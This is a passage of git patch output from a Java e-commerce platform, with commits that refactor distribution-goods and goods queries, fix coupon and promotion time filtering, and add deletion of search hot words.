goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && Boolean.FALSE.equals(goods.getDeleteFlag())) { @@ -287,7 +288,9 @@ public class GoodsMessageListener implements RocketMQListener { */ private void updateGoodsIndex(Goods goods) { //如果商品通过审核&&并且已上架 - List goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper().eq(GoodsSku::getGoodsId, goods.getId())); + GoodsSearchParams searchParams = new GoodsSearchParams(); + searchParams.setGoodsId(goods.getId()); + List goodsSkuList = this.goodsSkuService.getGoodsSkuByList(searchParams); if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && Boolean.FALSE.equals(goods.getDeleteFlag())) { @@ -373,16 +376,19 @@ public class GoodsMessageListener implements RocketMQListener { private void deleteGoods(MessageExt messageExt) { Goods goods = JSONUtil.toBean(new String(messageExt.getBody()), Goods.class); + DistributionGoodsSearchParams searchParams = new DistributionGoodsSearchParams(); + searchParams.setGoodsId(goods.getId()); //删除获取分销商品 - DistributionGoods distributionGoods = distributionGoodsService.getOne(new LambdaQueryWrapper() - .eq(DistributionGoods::getGoodsId, goods.getId())); + DistributionGoods distributionGoods = distributionGoodsService.getDistributionGoods(searchParams); - //删除分销商品绑定关系 - distributionSelectedGoodsService.remove(new LambdaQueryWrapper() - .eq(DistributionSelectedGoods::getDistributionGoodsId, distributionGoods.getId())); + if (distributionGoods != null) { - //删除分销商品 - distributionGoodsService.removeById(distributionGoods.getId()); + //删除分销商品绑定关系 + distributionSelectedGoodsService.deleteByDistributionGoodsId(distributionGoods.getId()); + + //删除分销商品 + distributionGoodsService.removeById(distributionGoods.getId()); + } } /** @@ -421,9 +427,7 @@ public class GoodsMessageListener implements RocketMQListener { goods.setBuyCount(0); } int buyCount = goods.getBuyCount() + goodsCompleteMessage.getBuyNum(); - goodsService.update(new LambdaUpdateWrapper() - .eq(Goods::getId, goodsCompleteMessage.getGoodsId()) - .set(Goods::getBuyCount, buyCount)); + this.goodsService.updateGoodsBuyCount(goodsCompleteMessage.getGoodsId(), buyCount); } else { log.error("商品Id为[" + goodsCompleteMessage.getGoodsId() + "的商品不存在,更新商品失败!"); } diff --git a/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java index d47a0d36..4f895f69 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/distribution/entity/dto/DistributionGoodsSearchParams.java @@ -1,11 +1,13 @@ package cn.lili.modules.distribution.entity.dto; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 分销员商品查询条件 @@ -13,15 +15,25 @@ import lombok.Data; * @author pikachu * @since 2020-03-14 23:04:56 */ +@EqualsAndHashCode(callSuper = true) @Data public class DistributionGoodsSearchParams extends PageVO { + @ApiModelProperty(value = "商品ID") + private String goodsId; + @ApiModelProperty(value = "商品名称") private String goodsName; @ApiModelProperty(value = "是否已选择") private boolean isChecked; + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = this.distributionQueryWrapper(); + queryWrapper.eq(CharSequenceUtil.isNotEmpty(goodsId), "goods_id", goodsId); + queryWrapper.eq(CharSequenceUtil.isNotEmpty(goodsName), "goods_name", goodsId); + return queryWrapper; + } public QueryWrapper storeQueryWrapper() { QueryWrapper queryWrapper = this.distributionQueryWrapper(); diff --git a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionGoodsService.java b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionGoodsService.java index 4ec1478c..08df403a 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionGoodsService.java @@ -21,10 +21,34 @@ public interface DistributionGoodsService extends IService { * 根据条件分页查询分销商品信息 * * @param distributionGoodsSearchParams 商品条件 - * @return + * @return 分页分销商品信息 */ IPage goodsPage(DistributionGoodsSearchParams distributionGoodsSearchParams); + + /** + * 根据条件查询分销商品信息列表 + * + * @param distributionGoodsSearchParams 条件 + * @return 分销商品信息列表 + */ + List getDistributionGoodsList(DistributionGoodsSearchParams distributionGoodsSearchParams); + + /** + * 根据条件查询分销商品信息 + * + * @param distributionGoodsSearchParams 条件 + * @return 分销商品信息 + */ + DistributionGoods getDistributionGoods(DistributionGoodsSearchParams distributionGoodsSearchParams); + + /** + * 根据条件删除分销商品 + * + * @param distributionGoodsSearchParams 条件 + */ + boolean deleteDistributionGoods(DistributionGoodsSearchParams distributionGoodsSearchParams); + /** * 获取分销商品 * diff --git a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java index 86534f3b..733475f9 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java @@ -23,4 +23,11 @@ public interface DistributionSelectedGoodsService extends IService getDistributionGoodsList(DistributionGoodsSearchParams distributionGoodsSearchParams) { + return this.list(distributionGoodsSearchParams.queryWrapper()); + } + + /** + * 根据条件查询分销商品信息 + * + * @param distributionGoodsSearchParams 条件 + * @return 分销商品信息 + */ + @Override + public DistributionGoods getDistributionGoods(DistributionGoodsSearchParams distributionGoodsSearchParams) { + return this.getOne(distributionGoodsSearchParams.queryWrapper(), false); + } + + /** + * 根据条件删除分销商品 + * + * @param distributionGoodsSearchParams 条件 + */ + @Override + public boolean deleteDistributionGoods(DistributionGoodsSearchParams distributionGoodsSearchParams) { + return this.remove(distributionGoodsSearchParams.queryWrapper()); + } + @Override public DistributionGoods distributionGoodsVO(String id) { diff --git a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionSelectedGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionSelectedGoodsServiceImpl.java index 972bc944..c9411725 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionSelectedGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionSelectedGoodsServiceImpl.java @@ -46,4 +46,16 @@ public class DistributionSelectedGoodsServiceImpl extends ServiceImpl() + .eq(DistributionSelectedGoods::getDistributionGoodsId, distributionGoodsId)); + } } diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java index 17d5090b..76370098 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java @@ -63,7 +63,10 @@ public class GoodsSearchParams extends PageVO { private String authFlag; @ApiModelProperty(value = "库存数量") - private Integer quantity; + private Integer leQuantity; + + @ApiModelProperty(value = "库存数量") + private Integer geQuantity; @ApiModelProperty(value = "是否为推荐商品") private Boolean recommend; @@ -106,8 +109,11 @@ public class GoodsSearchParams extends PageVO { if (CharSequenceUtil.isNotEmpty(authFlag)) { queryWrapper.eq("auth_flag", authFlag); } - if (quantity != null) { - queryWrapper.le("quantity", quantity); + if (leQuantity != null) { + queryWrapper.le("quantity", leQuantity); + } + if (geQuantity != null) { + queryWrapper.ge("quantity", geQuantity); } if (recommend != null) { queryWrapper.le("recommend", recommend); diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java index 3b76f5e5..16ac93e4 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java @@ -147,12 +147,20 @@ public interface GoodsService extends IService { void updateStock(String goodsId, Integer quantity); /** - * 更新SKU评价数量 + * 更新商品评价数量 * * @param goodsId 商品ID */ void updateGoodsCommentNum(String goodsId); + /** + * 更新商品的购买数量 + * + * @param goodsId 商品ID + * @param buyCount 购买数量 + */ + void updateGoodsBuyCount(String goodsId, int buyCount); + /** * 批量更新商品的店铺信息 * @param store diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index da2f7b69..a8887da8 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -406,6 +406,19 @@ public class GoodsServiceImpl extends ServiceImpl implements this.updateById(goods); } + /** + * 更新商品的购买数量 + * + * @param goodsId 商品ID + * @param buyCount 购买数量 + */ + @Override + public void updateGoodsBuyCount(String goodsId, int buyCount) { + this.update(new LambdaUpdateWrapper() + .eq(Goods::getId, goodsId) + .set(Goods::getBuyCount, buyCount)); + } + @Override public void updateStoreDetail(Store store) { UpdateWrapper updateWrapper = new UpdateWrapper<>() diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 8715aa04..30bcd611 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -2,6 +2,7 @@ package cn.lili.modules.goods.serviceimpl; import cn.hutool.core.convert.Convert; import cn.hutool.core.map.MapUtil; +import cn.hutool.core.thread.ThreadUtil; import cn.hutool.core.util.NumberUtil; import cn.hutool.core.util.StrUtil; import cn.hutool.json.JSONObject; @@ -538,9 +539,18 @@ public class GoodsSkuServiceImpl extends ServiceImpl i */ @Override public void generateEs(Goods goods) { - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GENERATOR_GOODS_INDEX.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, goods.getId(), RocketmqSendCallbackBuilder.commonCallback()); + ThreadUtil.execAsync(() -> { + try { + // 延时执行,防止商品未保存完成就去生成商品索引导致生成索引时找不到商品问题 + Thread.sleep(2000); + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GENERATOR_GOODS_INDEX.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, goods.getId(), RocketmqSendCallbackBuilder.commonCallback()); + } catch (InterruptedException e) { + log.error("发送商品索引信息失败!", e); + Thread.currentThread().interrupt(); + } + }); } /** diff --git a/framework/src/main/java/cn/lili/modules/store/entity/dos/StoreDetail.java b/framework/src/main/java/cn/lili/modules/store/entity/dos/StoreDetail.java index 11a21162..ed8d8d37 100644 --- a/framework/src/main/java/cn/lili/modules/store/entity/dos/StoreDetail.java +++ b/framework/src/main/java/cn/lili/modules/store/entity/dos/StoreDetail.java @@ -92,7 +92,6 @@ public class StoreDetail extends BaseIdEntity { @ApiModelProperty(value = "营业执照号") private String licenseNum; - @Size(min = 1, max = 200, message = "法定经营范围长度为1-200位字符") @ApiModelProperty(value = "法定经营范围") private String scope; diff --git a/framework/src/main/java/cn/lili/modules/store/entity/dto/AdminStoreApplyDTO.java b/framework/src/main/java/cn/lili/modules/store/entity/dto/AdminStoreApplyDTO.java index 8b9ac536..40020336 100644 --- a/framework/src/main/java/cn/lili/modules/store/entity/dto/AdminStoreApplyDTO.java +++ b/framework/src/main/java/cn/lili/modules/store/entity/dto/AdminStoreApplyDTO.java @@ -99,7 +99,6 @@ public class AdminStoreApplyDTO { @ApiModelProperty(value = "营业执照号") private String licenseNum; - @Size(min = 1, max = 200, message = "法定经营范围长度为1-200位字符") @ApiModelProperty(value = "法定经营范围") private String scope; diff --git a/framework/src/main/java/cn/lili/modules/store/entity/dto/StoreEditDTO.java b/framework/src/main/java/cn/lili/modules/store/entity/dto/StoreEditDTO.java index 6efbaea1..0400c246 100644 --- a/framework/src/main/java/cn/lili/modules/store/entity/dto/StoreEditDTO.java +++ b/framework/src/main/java/cn/lili/modules/store/entity/dto/StoreEditDTO.java @@ -78,7 +78,6 @@ public class StoreEditDTO { @ApiModelProperty(value = "营业执照号") private String licenseNum; - @Size(min = 1, max = 200, message = "法定经营范围长度为1-200位字符") @ApiModelProperty(value = "法定经营范围") private String scope; diff --git a/seller-api/src/main/java/cn/lili/controller/goods/GoodsStoreController.java b/seller-api/src/main/java/cn/lili/controller/goods/GoodsStoreController.java index 8ea0ed5e..55f1af36 100644 --- a/seller-api/src/main/java/cn/lili/controller/goods/GoodsStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/goods/GoodsStoreController.java @@ -84,7 +84,7 @@ public class GoodsStoreController { StoreDetail storeDetail = OperationalJudgment.judgment(storeDetailService.getStoreDetail(storeId)); Integer stockWarnNum = storeDetail.getStockWarning(); goodsSearchParams.setStoreId(storeId); - goodsSearchParams.setQuantity(stockWarnNum); + goodsSearchParams.setLeQuantity(stockWarnNum); goodsSearchParams.setMarketEnable(GoodsStatusEnum.UPPER.name()); IPage goodsSku = goodsSkuService.getGoodsSkuByPage(goodsSearchParams); StockWarningVO stockWarning = new StockWarningVO(stockWarnNum, goodsSku); From 3af00312141d636cb5153361178b6c5d85b5b795 Mon Sep 17 00:00:00 2001 From: Chopper Date: Fri, 24 Dec 2021 15:45:48 +0800 Subject: [PATCH 105/145] =?UTF-8?q?=E6=B3=A8=E5=86=8C=E8=B5=A0=E5=88=B8?= =?UTF-8?q?=E5=8A=9F=E8=83=BDbug=E4=BF=AE=E5=A4=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/event/impl/RegisteredCouponActivityExecute.java | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java b/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java index ca198508..75d2ad21 100644 --- a/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java @@ -1,8 +1,10 @@ package cn.lili.event.impl; +import cn.hutool.core.date.DateUtil; import cn.lili.event.MemberRegisterEvent; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.promotion.entity.dos.CouponActivity; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.CouponActivityTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.service.CouponActivityService; @@ -10,6 +12,7 @@ import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; +import java.util.Date; import java.util.List; /** @@ -34,8 +37,8 @@ public class RegisteredCouponActivityExecute implements MemberRegisterEvent { public void memberRegister(Member member) { List couponActivities = couponActivityService.list(new LambdaQueryWrapper() .eq(CouponActivity::getCouponActivityType, CouponActivityTypeEnum.REGISTERED.name()) - .eq(CouponActivity::getPromotionStatus, PromotionsStatusEnum.START.name())); + .ge(BasePromotions::getEndTime, new Date()) + .le(BasePromotions::getStartTime, new Date())); couponActivityService.registered(couponActivities, member); - } } From b1e70ebf12503f7cede463d8e8455566d7468f74 Mon Sep 17 00:00:00 2001 From: Chopper Date: Fri, 24 Dec 2021 15:46:25 +0800 Subject: [PATCH 106/145] =?UTF-8?q?=E4=BF=83=E9=94=80=E9=87=91=E9=A2=9D?= =?UTF-8?q?=E5=A4=A7=E4=BA=8E=E5=95=86=E5=93=81=E9=87=91=E9=A2=9D=E7=9A=84?= =?UTF-8?q?=E6=9E=81=E7=AB=AF=E6=83=85=E5=86=B5=E6=98=BE=E7=A4=BA=E9=97=AE?= =?UTF-8?q?=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../order/order/entity/dto/PriceDetailDTO.java | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java index b03e1a51..15724eb7 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/PriceDetailDTO.java @@ -349,14 +349,30 @@ public class PriceDetailDTO implements Serializable { public void setDiscountPrice(Double discountPrice) { this.discountPrice = discountPrice; + promotionPriceHandler(); this.recount(); } public void setCouponPrice(Double couponPrice) { this.couponPrice = couponPrice; + promotionPriceHandler(); this.recount(); } + /** + * 如果促销金额+优惠券金额大于商品金额问题处理 + */ + private void promotionPriceHandler() { + if (couponPrice == null || discountPrice == null) { + return; + } + //如果订单优惠总额>商品金额,则处理一下数据,使得两数相加<=商品金额 + if (CurrencyUtil.add(couponPrice, discountPrice) > goodsPrice) { + couponPrice = CurrencyUtil.sub(goodsPrice, discountPrice); + this.setCouponPrice(couponPrice); + } + } + public void setDistributionCommission(Double distributionCommission) { this.distributionCommission = distributionCommission; this.recount(); From ef31d6af8357e16985cba78499148b78d2aa62a0 Mon Sep 17 00:00:00 2001 From: Chopper Date: Fri, 24 Dec 2021 15:56:41 +0800 Subject: [PATCH 107/145] =?UTF-8?q?=E7=A0=8D=E4=BB=B7=E5=95=86=E5=93=81?= =?UTF-8?q?=E8=8E=B7=E5=8F=96=E9=94=99=E8=AF=AF=E9=97=AE=E9=A2=98=E5=A4=84?= =?UTF-8?q?=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../serviceimpl/KanjiaActivityGoodsServiceImpl.java | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java index 219c8fc9..662853d5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java @@ -11,6 +11,7 @@ import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; @@ -23,6 +24,7 @@ import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.mybatis.util.PageUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import org.springframework.beans.BeanUtils; @@ -32,6 +34,7 @@ import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Collections; +import java.util.Date; import java.util.List; /** @@ -214,7 +217,11 @@ public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImp @Override public KanjiaActivityGoods getKanjiaGoodsBySkuId(String skuId) { - KanjiaActivityGoods kanjiaActivityGoods = this.getOne(new QueryWrapper().eq("sku_id", skuId), false); + KanjiaActivityGoods kanjiaActivityGoods = this.getOne( + new LambdaQueryWrapper() + .eq(KanjiaActivityGoods::getSkuId, skuId) + .ge(KanjiaActivityGoods::getEndTime, new Date()) + .le(KanjiaActivityGoods::getStartTime, new Date())); if (kanjiaActivityGoods != null && PromotionsStatusEnum.START.name().equals(kanjiaActivityGoods.getPromotionStatus())) { return kanjiaActivityGoods; } From ed840a95a191df29f8d42befa5639842b416b1ec Mon Sep 17 00:00:00 2001 From: paulGao Date: Fri, 24 Dec 2021 16:11:53 +0800 Subject: [PATCH 108/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E6=90=9C=E7=B4=A2?= =?UTF-8?q?=E7=83=AD=E8=AF=8D=E7=AE=A1=E7=90=86=EF=BC=8C=E5=A2=9E=E5=8A=A0?= =?UTF-8?q?=E6=90=9C=E7=B4=A2=E7=83=AD=E8=AF=8D=E5=88=A0=E9=99=A4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../search/service/EsGoodsSearchService.java | 7 +++++++ .../serviceimpl/EsGoodsSearchServiceImpl.java | 10 ++++++++++ .../goods/HotWordsManagerController.java | 17 ++++++++++------- 3 files changed, 27 insertions(+), 7 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java index b7c97186..0e50be00 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java @@ -41,6 +41,13 @@ public interface EsGoodsSearchService { */ void setHotWords(HotWordsDTO hotWords); + /** + * 删除热门关键词 + * + * @param keywords 热词 + */ + void deleteHotWords(String keywords); + /** * 获取筛选器 * diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java index 755d445f..68019d77 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java @@ -114,6 +114,16 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { cache.incrementScore(CachePrefix.HOT_WORD.getPrefix(), hotWords.getKeywords(), hotWords.getPoint()); } + /** + * 删除热门关键词 + * + * @param keywords 热词 + */ + @Override + public void deleteHotWords(String keywords) { + cache.zRemove(CachePrefix.HOT_WORD.getPrefix(), keywords); + } + @Override public EsGoodsRelatedInfo getSelector(EsGoodsSearchDTO goodsSearch, PageVO pageVo) { NativeSearchQueryBuilder builder = createSearchQueryBuilder(goodsSearch, null); diff --git a/manager-api/src/main/java/cn/lili/controller/goods/HotWordsManagerController.java b/manager-api/src/main/java/cn/lili/controller/goods/HotWordsManagerController.java index b38e5e85..ee042cf9 100755 --- a/manager-api/src/main/java/cn/lili/controller/goods/HotWordsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/goods/HotWordsManagerController.java @@ -8,10 +8,7 @@ import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.bind.annotation.*; /** * 管理端,app版本控制器 @@ -29,16 +26,22 @@ public class HotWordsManagerController { @ApiOperation(value = "获取热词") @GetMapping - public ResultMessage getHotWords() { + public ResultMessage getHotWords() { return ResultUtil.data(esGoodsSearchService.getHotWords(100)); } @ApiOperation(value = "设置热词") @PostMapping - public ResultMessage paymentForm(@Validated HotWordsDTO hotWords) { - + public ResultMessage paymentForm(@Validated HotWordsDTO hotWords) { esGoodsSearchService.setHotWords(hotWords); return ResultUtil.success(); } + @ApiOperation(value = "设置热词") + @DeleteMapping("/{words}") + public ResultMessage deleteWords(@PathVariable String words) { + esGoodsSearchService.deleteHotWords(words); + return ResultUtil.success(); + } + } From f9a8675942cf421f55e399b3b0c4078c5bf671f8 Mon Sep 17 00:00:00 2001 From: paulGao Date: Sat, 25 Dec 2021 18:35:44 +0800 Subject: [PATCH 109/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E4=BC=98=E5=8C=96?= =?UTF-8?q?=E4=BF=83=E9=94=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../promotion/PointsGoodsBuyerController.java | 2 + .../impl/RegisteredCouponActivityExecute.java | 9 +-- .../lili/listener/GoodsMessageListener.java | 9 +++ .../java/cn/lili/common/enums/ResultCode.java | 2 + .../lili/modules/goods/entity/dos/Goods.java | 3 +- .../serviceimpl/GoodsSkuServiceImpl.java | 2 +- .../modules/order/cart/entity/vo/CartVO.java | 1 + .../cart/render/RenderStepStatement.java | 1 + .../cart/render/impl/CheckDataRender.java | 14 +++++ .../cart/render/impl/SkuPromotionRender.java | 13 +++++ .../order/cart/service/CartServiceImpl.java | 58 ++++++++++++------- .../promotion/entity/dos/PromotionGoods.java | 7 ++- .../modules/promotion/entity/dos/Seckill.java | 5 +- .../vos/BasePromotionsSearchParams.java | 15 ++++- .../entity/vos/CouponSearchParams.java | 9 +-- .../entity/vos/FullDiscountSearchParams.java | 7 --- .../entity/vos/PintuanSearchParams.java | 6 -- .../vos/PromotionGoodsSearchParams.java | 6 -- .../entity/vos/SeckillSearchParams.java | 3 - .../service/PromotionGoodsService.java | 13 +---- .../promotion/service/PromotionService.java | 2 +- .../AbstractPromotionsServiceImpl.java | 3 +- .../CouponActivityServiceImpl.java | 3 +- .../serviceimpl/CouponServiceImpl.java | 5 ++ .../KanjiaActivityGoodsServiceImpl.java | 3 +- .../serviceimpl/MemberCouponServiceImpl.java | 5 +- .../PointsGoodsCategoryServiceImpl.java | 3 +- .../serviceimpl/PointsGoodsServiceImpl.java | 12 ++-- .../PromotionGoodsServiceImpl.java | 57 +++--------------- .../serviceimpl/PromotionServiceImpl.java | 36 +++--------- .../serviceimpl/SeckillApplyServiceImpl.java | 2 +- .../serviceimpl/SeckillServiceImpl.java | 4 +- .../promotion/tools/PromotionTools.java | 10 +++- .../search/service/EsGoodsIndexService.java | 4 +- .../serviceimpl/EsGoodsIndexServiceImpl.java | 25 +++----- .../promotion/CouponManagerController.java | 7 ++- .../cn/lili/test/elasticsearch/EsTest.java | 2 +- 37 files changed, 177 insertions(+), 191 deletions(-) diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java index e4cd94d1..4dc38065 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java @@ -5,6 +5,7 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.service.PointsGoodsCategoryService; @@ -37,6 +38,7 @@ public class PointsGoodsBuyerController { @GetMapping @ApiOperation(value = "分页获取积分商品") public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { + searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); IPage pointsGoodsByPage = pointsGoodsService.pageFindAll(searchParams, page); return ResultUtil.data(pointsGoodsByPage); } diff --git a/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java b/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java index ca198508..2feb89b4 100644 --- a/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/RegisteredCouponActivityExecute.java @@ -6,7 +6,8 @@ import cn.lili.modules.promotion.entity.dos.CouponActivity; import cn.lili.modules.promotion.entity.enums.CouponActivityTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.service.CouponActivityService; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import cn.lili.modules.promotion.tools.PromotionTools; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; @@ -32,9 +33,9 @@ public class RegisteredCouponActivityExecute implements MemberRegisterEvent { */ @Override public void memberRegister(Member member) { - List couponActivities = couponActivityService.list(new LambdaQueryWrapper() - .eq(CouponActivity::getCouponActivityType, CouponActivityTypeEnum.REGISTERED.name()) - .eq(CouponActivity::getPromotionStatus, PromotionsStatusEnum.START.name())); + List couponActivities = couponActivityService.list(new QueryWrapper() + .eq("coupon_activity_type", CouponActivityTypeEnum.REGISTERED.name()) + .and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START))); couponActivityService.registered(couponActivities, member); } diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 3c1095e1..3900de1f 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -27,6 +27,7 